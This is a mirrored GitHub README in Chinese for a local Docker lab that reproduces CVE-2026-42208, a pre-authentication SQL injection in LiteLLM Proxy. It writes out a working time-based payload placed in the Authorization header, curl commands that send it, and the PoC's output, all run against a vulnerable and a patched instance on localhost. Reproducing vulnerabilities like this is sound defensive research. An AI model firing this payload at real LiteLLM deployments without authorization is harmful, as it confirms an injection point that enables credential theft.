rootdirective-sec/cve-2026-42208-Lab
GitHub: rootdirective-sec/cve-2026-42208-Lab
该项目为 CVE-2026-42208(LiteLLM Proxy 预认证 SQL 注入漏洞)提供本地 Docker 复现环境和安全的时间盲注验证 PoC,方便安全人员无害化复现与评估该漏洞。
Stars: 0 | Forks: 0
# CVE-2026-42208 — LiteLLM Pre-Auth SQL 注入时间盲注 PoC
CVE-2026-42208 的本地 Docker 实验环境与最小危害 PoC,该漏洞是 LiteLLM Proxy API 密钥验证路径中的一个 Pre-Auth(预认证)SQL 注入漏洞。
本仓库演示了使用基于时间的 PostgreSQL `pg_sleep()` 证明,来展示存在漏洞的 LiteLLM 实例与已修补的 LiteLLM 实例之间的差异。
## 概述
CVE-2026-42208 影响 LiteLLM Proxy 从 `1.81.16` 版本到 `1.83.7` 之前的版本。
该漏洞通过向 LiteLLM API 端点发送特制的 `Authorization: Bearer ...` 请求头触发。在受影响的版本中,调用者提供的 token 可以在 API 密钥验证期间进入 SQL 查询路径。
本实验环境对比了:
| 服务 | 版本 | URL | 预期结果 |
| --------- | ----------------: | ----------------------- | -------------------- |
| `vuln` | `v1.83.6-nightly` | `http://127.0.0.1:8081` | 延迟的 401 响应 |
| `patched` | `v1.83.7-stable` | `http://127.0.0.1:8082` | 快速的 401 响应 |
该证明使用了类似于以下的 payload:
```
' OR (SELECT pg_sleep(6)) IS NULL --
```
两个服务都应返回 HTTP `401`,但存在漏洞的实例响应大约需要 6 秒,而已修补的实例会快速响应。
## 仓库结构
```
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
```
## 实验环境架构
```
localhost:8081 -> vulnerable LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> patched LiteLLM -> PostgreSQL db-patched
```
PostgreSQL 服务是内部 Docker 服务,不会暴露给宿主机。
只有 LiteLLM HTTP 端口被暴露:
| 宿主机端口 | 服务 | 容器端口 |
| ---------: | ------------------ | ------: |
| `8081` | 存在漏洞的 LiteLLM | `4000` |
| `8082` | 已修补的 LiteLLM | `4000` |
## 环境要求
* Docker Desktop
* Docker Compose v2
* Python 3
## 启动实验环境
```
docker compose up -d --build
```
检查服务状态:
```
docker compose ps
```
预期状态:
```
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
```
## 运行 PoC
测试存在漏洞的实例:
```
python3 poc/poc.py --url http://127.0.0.1:8081
```
测试已修补的实例:
```
python3 poc/poc.py --url http://127.0.0.1:8082
```
## PoC 选项
```
--url Target base URL
--path API path to test. Default: /v1/chat/completions
--sleep Seconds for pg_sleep(). Default: 6
--rounds Number of probe rounds. Default: 2
```
示例:
```
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
```
```
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
```
## 预期输出
存在漏洞的实例:
```
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
```
已修补的实例:
```
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
```
## 本地运行证据
来自此实验环境的示例结果:
```
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
```
重要的观察结果是,两个服务都返回了 `401`,但只有存在漏洞的服务延迟了大约 `pg_sleep()` 指定的时间。
## 为什么使用时间证明
本仓库使用时间证明是因为它比提取数据更安全。
该 PoC 通过观察响应延迟来证明注入的 SQL 表达式已被执行。它不会尝试转储数据库行、提取 API 密钥、修改记录或绕过身份验证。
## 手动时间检查
存在漏洞的服务:
```
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
```
已修补的服务:
```
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
```
预期行为:
```
vulnerable -> approximately 6 seconds
patched -> near-immediate response
```
## 清理
```
docker compose down -v
```
这将移除容器、网络和 PostgreSQL 卷。
## 安全提示
本实验环境仅供本地和经授权的测试使用。
请勿对您不拥有或未经授权测试的系统运行此 PoC。
请勿在此实验环境中使用真实的提供商 API 密钥或生产环境的 LiteLLM 凭证。
默认的 PoC 避免了破坏性行为,并且不会提取数据库内容。
## 参考资料
* [GitHub 安全公告:GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc)
* [NVD: CVE-2026-42208](https://nvd.nist.gov/vuln/detail/CVE-2026-42208)
* [CVE 记录:CVE-2026-42208](https://www.cve.org/CVERecord?id=CVE-2026-42208)
* [LiteLLM 安全更新:LiteLLM Proxy 中的 CVE-2026-42208](https://docs.litellm.ai/blog/cve-2026-42208-litellm-proxy-sql-injection)
* [Bishop Fox: CVE-2026-42208 — LiteLLM Proxy 中的 Pre-Auth SQL 注入](https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy)
标签:API安全, CISA项目, CVE-2026-42208, Docker, JSON输出, LiteLLM, Maven, pg_sleep, PoC, PostgreSQL, 代理服务漏洞, 安全实验室, 安全防御评估, 数据展示, 时间盲注, 暴力破解, 测试用例, 漏洞复现, 漏洞验证, 版权保护, 红队, 网络安全, 请求拦截, 身份验证绕过, 逆向工具, 隐私保护, 预认证漏洞